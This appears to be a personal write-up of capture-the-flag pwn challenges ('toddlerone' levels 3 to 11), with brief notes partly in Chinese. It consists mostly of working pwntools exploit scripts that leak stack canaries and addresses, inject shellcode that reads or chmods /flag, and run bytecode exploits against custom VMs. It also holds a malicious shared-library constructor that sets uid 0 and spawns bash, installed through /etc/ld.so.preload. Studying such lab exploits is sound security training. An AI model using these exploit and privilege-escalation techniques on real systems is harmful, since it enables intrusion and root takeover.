Level-3

from pwn import *
context.log_level="debug"
context.arch="amd64"
context.os="linux"



'''
input_buffer = 0x7fffffffce30
buff_new = 0x7fffffffccf0

0x7fffffffdec0
can = 
ret_add = 0x7fffffffce88


'''
p = process("./toddlerone_level3.1")

script = '''
b*$rebase(0x195e)
'''
# p = gdb.debug("./toddlerone_level3.1",aslr=False,gdbscript=script)



cannary_offset = 0x48
stack_base = cannary_offset + 8 

#leak_stack_base

repeat = b'REPEAT'
leak_stack = repeat+b'a'*(stack_base-len(repeat))

p.sendlineafter(b"size: ",str(len(leak_stack)))
p.send(leak_stack)
p.recvuntil(leak_stack)
leak_stack_base  = u64(p.recv(6).ljust(8,b'\0'))
print(f"leak_base:{hex(leak_stack_base)}")

ret = int(hex(leak_stack_base),16) - 0x11d0

print(f"leak_input_buffer:{hex(ret)}")
leak_cannary = repeat + b'a'*(cannary_offset-len(repeat) + 1)
p.sendlineafter(b"size: ",str(len(leak_cannary)))
p.send(leak_cannary)
p.recvuntil(leak_cannary)
cannary  = u64(p.recv(7).rjust(8,b'\0'))
print(f"leak_cannray:{hex(cannary)}")



shellcode = shellcraft.amd64.linux.cat("/flag")
padding = asm(shellcode) + b'a'*(cannary_offset-len(asm(shellcode))) + p64(cannary) + p64(cannary) +p64(ret)
p.sendlineafter(b"size: ",str(len(padding)))
p.send(padding)
p.interactive()


Level-4

from pwn import *
context.log_level="debug"
context.arch="amd64"
context.os="linux"



gdbscript= '''
b*$rebase(0x1660)

'''
p = process("./toddlerone_level4.1")
# p=gdb.debug("./toddlerone_level4.1",gdbscript=gdbscript)




ret_symbol = 0x4AB9BE770438A205

cannary_offset= 0x68

stack_base = cannary_offset + 8


repeat = b'REPEAT'
leak_stack = repeat+b'a'*(stack_base-len(repeat))

p.sendlineafter(b"size: ",str(len(leak_stack)))
p.send(leak_stack)
p.recvuntil(leak_stack)
leak_stack_base  = u64(p.recv(6).ljust(8,b'\0'))
print(f"leak_base:{hex(leak_stack_base)}")



ret = int(hex(leak_stack_base),16) - 0x1230

print(f"leak_input_buffer:{hex(ret)}")

leak_cannary = repeat + b'a'*(cannary_offset-len(repeat) + 1)
p.sendlineafter(b"size: ",str(len(leak_cannary)))
p.send(leak_cannary)
p.recvuntil(leak_cannary)
cannary  = u64(p.recv(7).rjust(8,b'\0'))
print(f"leak_cannray:{hex(cannary)}")


shellcode = shellcraft.amd64.linux.cat("/flag")
padding = asm(shellcode) + b'a'*(cannary_offset-len(asm(shellcode))-8) + p64(ret_symbol)+p64(cannary) + p64(cannary) +p64(ret)
p.sendlineafter(b"size: ",str(len(padding)))
p.send(padding)
p.interactive()

# padding = b'a'*0x60 + p64(ret_symbol)


# #0x7ffdb848c620

# p.sendlineafter("size:",str(len(padding)))
# p.send(padding)
# p.interactive()

Level-5

Level-6


from pwn import *
context.log_level="debug"
context.arch="amd64"
context.os="linux"
context.terminal = ['tmux', 'splitw', '-h']


gdbscript= '''
b*$rebase(0x28ca)
'''
p = process("./toddlerone_level6.0")
# p=gdb.debug("./toddlerone_level6.0",gdbscript=gdbscript)


syscall_offset= 0x40
cannary_offset= syscall_offset+8
stack_base = cannary_offset + 8

syscall = 0x5a00000001


repeat = b'REPEAT'
leak_stack = repeat+b'a'*(stack_base+8+8-len(repeat))

p.sendlineafter(b"size: ",str(len(leak_stack)))
p.send(leak_stack)
p.recvuntil(leak_stack)
leak_stack_base  = u64(p.recv(6).ljust(8,b'\0'))
print(f"leak_base:{hex(leak_stack_base)}")


ret = int(hex(leak_stack_base),16) - 0x1338+0x118

print(f"leak_input_buffer:{hex(ret)}")

leak_cannary = repeat + b'a'*(cannary_offset-len(repeat) + 1)
p.sendlineafter(b"size: ",str(len(leak_cannary)))
p.send(leak_cannary)
p.recvuntil(leak_cannary)
cannary  = u64(p.recv(7).rjust(8,b'\0'))
print(f"leak_cannray:{hex(cannary)}")

shellcode = shellcraft.amd64.linux.chmod("/flag",0o777)
padding = asm(shellcode) + b'a'*(syscall_offset-len(asm(shellcode))) + p64(syscall) + p64(cannary) + p64(cannary) +p64(ret)+p64(ret)+p64(ret)
p.sendlineafter(b"size: ",str(len(padding)))
p.send(padding)
p.interactive()

# input 64
# syscall  0x000000e7 00000001
# cannarry 
# rbp 

Level-10

这是非常有意思的一关,因为我发现了一个非预期的解答,十分值得庆祝。
我的解答思路:利用open(/etc/ld.so.preload.o_create,ff) & umask 0000来创建文件,然后使用so,来劫持

from pwn import *
import time
context.arch="amd64"
context.os="linux"
# context.terminal = ['tmux', 'splitw', '-h']
# context.log_level="debug"
# enhex(b"/bin/sh"[::fr-1])
# print(enhex(b"/bin/sh"[::-1]))

ID = ['\x01', '\x02', '\x04', '\x08', '\x10', '\x20', '\x40', '\x80']
     #  0        1      2         3     4       5        6       7


op = {
    'IMM_OP' : ID[0],
    'JMP_OP' : ID[6],
    'SYS_OP' : ID[2],
    'STK_OP' : ID[7], 
    'ADD_OP' : ID[4],
    'STM_OP' : ID[3],# STM *A B
    'LDM_OP' : ID[1],
    'CMP_OP' : ID[5],

    'REG_A_ID' : ID[4],#1024
    'REG_B_ID' : ID[3],#1025
    'REG_C_ID' : ID[6],#1026
    'REG_D_ID' : ID[5], #1027
    'REG_S_ID' : ID[1], #1028
    'REG_I_ID' : ID[0],# 1029
    'REG_F_ID' : ID[2], # 1030

    'SYS_READ_MEM_ID' : ID[4],
    'SYS_OPEN_ID' : ID[0],
    'SYS_WRITE_ID' : ID[5],
    'SYS_EXIT_ID' : ID[4],
}

def get_stmt_shellcode(opcode, arg1, arg2):
    return opcode+arg1+arg2

#  export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$(pwd)
p = process("./toddlerone_level10.1")

shellcript = '''

'''
# gdb.attach(p,gdbscript=shellcript)
# gdb.attach(p)
# p.readuntil("Please input your yancode: ")


# to open file 
op_str = ""


# imm a 0a
op_str += get_stmt_shellcode(op['IMM_OP'], op['REG_A_ID'], '\x00')
# imm c 01
op_str += get_stmt_shellcode(op['IMM_OP'], op['REG_C_ID'], '\x01')
file_to_open = b'dem2\x00'
for x in file_to_open:
    op_str += get_stmt_shellcode(op['IMM_OP'], op['REG_B_ID'], p8(x).decode())
    op_str += get_stmt_shellcode(op['STM_OP'], op['REG_A_ID'], op['REG_B_ID'])
    op_str += get_stmt_shellcode(op['ADD_OP'], op['REG_A_ID'], op['REG_C_ID'])
# sys read a
op_str += get_stmt_shellcode(op['IMM_OP'], op['REG_A_ID'], '\x00')
# imm b
op_str += get_stmt_shellcode(op['IMM_OP'], op['REG_B_ID'], '\x40')
# imm c
op_str += get_stmt_shellcode(op['IMM_OP'], op['REG_C_ID'], '\x07')


op_str += get_stmt_shellcode(op['SYS_OP'],op['SYS_OPEN_ID'],'\xff')
# op_str += get_stmt_shellcode(op['SYS_OP'],op['SYS_EXIT_ID'],'\x01')
p.send(op_str)

p.interactive()

badlibc

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>

__attribute__((constructor)) void foo(void) {
    char buf[128] = {0};
    ssize_t len = readlink("/proc/self/exe", buf, sizeof(buf));
    // printf("exe is %s\n", buf);
    if (len > 0 && strcmp(buf, "/challenge/toddlerone_level10.0") == 0){
        setuid(0);
        setgid(0);
        seteuid(0);
        setegid(0);
        system("bash");
    }
}

预期解答:syscall 0x81 可以执行两条系统调用,完成orw

Level-11

在这一部分,使用了一个比较好的办法,首先要明白虚拟机是如何运行的,stmldm指令是可以任意访问内存地址,jmp指令的跳转,在实现的维护过程中,是维护了一个跳转表来实现的,因为程序本身有PIE,所以我们要通过控制跳转表来实现代码的跳转,imm a 8byte可以存入我们的shellcode,短跳转指令也只有2byte,所以我们只要控制6byte一组的shellcode就行了,并且在实现的过程中,不够6bye的可以使用nop来补齐

from pwn import *
import time
context.arch="amd64"
context.os="linux"
# context.terminal = ['tmux', 'splitw', '-h']
# context.log_level="debug"
# enhex(b"/bin/sh"[::fr-1])
# print(enhex(b"/bin/sh"[::-1]))

ID = ['\x01', '\x02', '\x04', '\x08', '\x10', '\x20', '\x40', '\x80']
     #  0        1      2         3     4       5        6       7


op = {
    'IMM_OP' : ID[3],
    'JMP_OP' : ID[5],
    'ADD_OP' : ID[0],
    'STM_OP' : ID[6],# STM *A B
    'LDM_OP' : ID[7],
    # 'CMP_OP' : ID[6],

    'REG_A_ID' : ID[5],#1024
    'REG_B_ID' : ID[0],#1025
    'REG_C_ID' : ID[4],#1026
    'REG_D_ID' : ID[1], #1027
    'REG_S_ID' : ID[6], #1028
    'REG_I_ID' : ID[3],# 1029
    'REG_F_ID' : ID[2], # 1030

}

def get_stmt_shellcode(opcode, arg1, arg2):
    opcode = int(enhex(opcode.encode()),16)
    arg1 = int(enhex(arg1.encode()),16)
    arg2 = int(enhex(arg2),16)
    return p64(arg2)+ p64(opcode) +p64(arg1)

def get_stmt_shellcode1(opcode, arg1, arg2):
    opcode = int(enhex(opcode.encode()),16)
    arg1 = int(enhex(arg1.encode()),16)
    arg2 = int(enhex(arg2.encode()),16)
    return p64(arg2)+ p64(opcode) +p64(arg1)
#  export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$(pwd)
p = process("./toddlerone_level11.1")

shellcript = '''
b*$rebase(0x296e)
c
'''
gdb.attach(p,gdbscript=shellcript)
# gdb.attach(p)
# p.readuntil("Please input your yancode: ")

op_str = get_stmt_shellcode(op['IMM_OP'],op['REG_B_ID'],unhex("808"))
op_str += get_stmt_shellcode1(op['LDM_OP'],op['REG_A_ID'],op['REG_B_ID'])
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_B_ID'],unhex("11d"))#offset of 8-bytes shellcode start address
op_str += get_stmt_shellcode1(op['ADD_OP'],op['REG_C_ID'],op['REG_B_ID'])
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_B_ID'],unhex("808"))
op_str += get_stmt_shellcode1(op['STM_OP'],op['REG_B_ID'],op['REG_C_ID'])


op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],unhex("0"))
op_str += get_stmt_shellcode1(op['JMP_OP'], '\x00', op['REG_A_ID'])
# op_str += get_stmt_shellcode(op['IMM_OP'], op['REG_B_ID'], asm("jmp $+0xb")[::-1]+asm("push 0x61")[::-1].rjust(6,b"\x90"))


op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("push 0x61")[::-1].rjust(6,b"\x90"))
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("push SYS_open")[::-1].rjust(6,b"\x90"))
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("pop rax")[::-1].rjust(6,b"\x90"))
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("mov rdi, rsp")[::-1].rjust(6,b"\x90"))
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("xor esi, esi")[::-1].rjust(6,b"\x90"))
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("syscall")[::-1].rjust(6,b"\x90"))
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("mov r10d, 0x7fffffff")[::-1].rjust(6,b"\x90"))
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("mov rsi, rax")[::-1].rjust(6,b"\x90"))
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("push SYS_sendfile")[::-1].rjust(6,b"\x90"))
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("pop rax")[::-1].rjust(6,b"\x90"))
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("push 1")[::-1].rjust(6,b"\x90"))
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("pop rdi")[::-1].rjust(6,b"\x90"))
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("cdq")[::-1].rjust(6,b"\x90"))
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("syscall")[::-1].rjust(6,b"\x90"))

# with open("input.bin","wb") as f:
#     f.write(op_str)

# print(op_str)
p.send(op_str)

p.interactive()

'''
/* push b'a\x00' */
    push 0x61
    /* call open('rsp', 'O_RDONLY', 'rdx') */
    push SYS_open /* 2 */
    pop rax
    mov rdi, rsp
    xor esi, esi /* O_RDONLY */
    syscall
    /* call sendfile(1, 'rax', 0, 0x7fffffff) */
    mov r10d, 0x7fffffff
    mov rsi, rax
    push SYS_sendfile /* 0x28 */
    pop rax
    push 1
    pop rdi
    cdq /* rdx=0 */
    syscall
'''

That’s all!
20231207085558